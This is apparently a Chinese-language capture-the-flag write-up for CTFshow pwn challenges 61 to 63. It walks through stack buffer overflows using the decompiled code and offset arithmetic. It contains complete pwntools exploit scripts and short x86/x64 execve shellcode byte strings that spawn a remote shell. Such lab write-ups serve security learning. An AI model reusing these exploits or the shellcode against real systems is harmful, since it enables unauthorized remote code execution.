pwn61
提示看输出
交互
C:\Users\26597>nc pwn.challenge.ctf.show 28225
▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄
██▀▀▀▀█ ▀▀▀██▀▀▀ ██▀▀▀▀▀▀ ██
██▀ ██ ██ ▄▄█████▄ ██▄████▄ ▄████▄ ██ ██
██ ██ ███████ ██▄▄▄▄ ▀ ██▀ ██ ██▀ ▀██ ▀█ ██ █▀
██▄ ██ ██ ▀▀▀▀██▄ ██ ██ ██ ██ ██▄██▄██
██▄▄▄▄█ ██ ██ █▄▄▄▄▄██ ██ ██ ▀██▄▄██▀ ▀██ ██▀
▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀▀▀ ▀▀ ▀▀ ▀▀▀▀ ▀▀ ▀▀
* *************************************
* Classify: CTFshow --- PWN --- 入门
* Type : Stack_Overflow
* Site : https://ctf.show/
* Hint : Use shellcode to get shell!
* *************************************
Welcome to CTFshow!
What's this : [0x7ffef4fdfd70] ?
Maybe it's useful ! But how to use it?
输出了一个莫名其妙的数字
一眼是地址
返回去看main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
_QWORD v5[2]; // [rsp+0h] [rbp-10h] BYREF
v5[0] = 0LL;
v5[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", v5);
puts("Maybe it's useful ! But how to use it?");
gets(v5);
return 0;
}
这里可以看到,这里通过占位符输出的是v5的地址
v5到栈底的位置是0x10
64位程序
所以偏移量就0x10+8
多次交互,发现这个地址位置在变化
所以需要想办法截取这个v5的地址,于是
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
拿到了v5的地址,就可以对应着传入shellcode了
根据这个方法,写出exp:
from pwn import *
context(arch="amd64",log_level="debug")
p = remote("pwn.challenge.ctf.show",28255)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area, shellcode])
p.sendline(payload)
p.interactive()
但是
不出意外是出意外了
打不通
网上找各位佬的文章
发现存在一个问题
shellcode太长,超出了v4,v5的范围
Shellcode 的长度通常会超过 v5 的空间(8 字节)。如果直接覆盖 v5,Shellcode 的部分内容可能会被截断。此外,leave ret 之后,程序可能会跳转到一个无效地址,导致崩溃
去搜索了一下leave
等价于 mov rsp, rbp 和 pop rbp。
它将 rbp 的值赋给 rsp,从而恢复上一个栈帧的栈指针。
然后从栈上弹出 rbp 的值,恢复上一个栈帧的基指针。
所以我们把shellcode写在v5后面就是offset+0x8的位置,因为还有一个返回地址的位置
也就是说,offset+0x8是为了完全填充略过v5的空间,直接往后写
最终exp:
from pwn import *
context(arch="amd64",log_level="debug")
p = remote("pwn.challenge.ctf.show",28255)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode = asm(shellcraft.sh())
payload = flat([cyclic(offset), shellcode_area + offset +8, shellcode])
p.sendline(payload)
p.interactive()
pwn62
类似上题
将v5改成了buf
跟进buf,发现
-0000000000000010 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000010 // Frame size: 10; Saved regs: 8; Purge: 0
-0000000000000010
-0000000000000010 _QWORD buf;
-0000000000000008 _QWORD var_8;
+0000000000000000 _QWORD __saved_registers;
+0000000000000008 _UNKNOWN *__return_address;
+0000000000000010
+0000000000000010 // end of stack variables
这里可以看到buf实则为8字节
再看main函数
大致情况和上题一致
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x38uLL);
return 0;
}
0x10+0x8=24字节
选用上题的shellcode的话,shellcode的长度会是48字节
这样在读取buf段内容时,由于只读0x38=56字节的内容
就会导致payload被从中间截断
所以需要传入更短的shellcode
找到一组shellcode
32 位 短字节 shellcode -> 21 字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05
23+24+8=55字节
from pwn import *
context(arch="amd64")
p = remote("pwn.challenge.ctf.show",28203)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))
# 这里算出来的直接生成的shellcode长度为48,故最后还是得自行输入一个最短shellcode
payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()
pwn63
题目说是变了,确实又短了一点
但是并不影响上一个的shellcode
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
_QWORD buf[2]; // [rsp+0h] [rbp-10h] BYREF
buf[0] = 0LL;
buf[1] = 0LL;
v3 = _bss_start;
setvbuf(_bss_start, 0LL, 1, 0LL);
logo(v3, 0LL);
puts("Welcome to CTFshow!");
printf("What's this : [%p] ?\n", buf);
puts("Maybe it's useful ! But how to use it?");
read(0, buf, 0x37uLL);
return 0;
}
就短了0x1
也就是只能输入55字节
而之前的shellcode传进去刚好55字节
直接照搬exp就能出
from pwn import *
context(arch="amd64")
p = remote("pwn.challenge.ctf.show",28209)
p.recvuntil("What's this : [")
shellcode_area = eval(p.recvuntil(b"]", drop=True))
offset = 0x10 + 8
print(hex(shellcode_area))
shellcode=b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
# shellcode1 = asm(shellcraft.sh())
# print(len(shellcode1))
payload = flat([cyclic(offset), shellcode_area + offset +8 , shellcode])
p.sendline(payload)
p.interactive()